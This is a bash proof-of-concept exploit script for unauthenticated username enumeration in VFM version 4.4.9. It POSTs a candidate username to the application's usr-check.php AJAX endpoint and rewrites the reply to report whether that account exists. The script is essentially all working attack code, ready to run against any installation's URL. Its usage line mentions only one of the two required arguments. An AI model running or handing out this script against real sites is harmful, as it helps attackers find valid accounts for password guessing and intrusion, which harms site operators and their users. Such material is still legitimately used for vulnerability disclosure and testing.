#!/usr/bin/env bash

##########################################################
############# UNAUTHENTICATED USER ENUMERTION ############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker bruteforce any username in
# the application.

# - Parameter $1 is the username we want to test
# - Parameter $2 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]]; then
  echo "[ USAGE ] :: ./unauth-user-enumeration.sh <url to root of vfm installation>/"
  exit 1
fi

curl -X POST \
  -d "user_name=$1" \
  -H "X-Requested-With: XmlHttpRequest" \
  "$2/vfm-admin/ajax/usr-check.php" 2>/dev/null | sed 's/success/doesnt exist/' | sed 's/error/exists/'
echo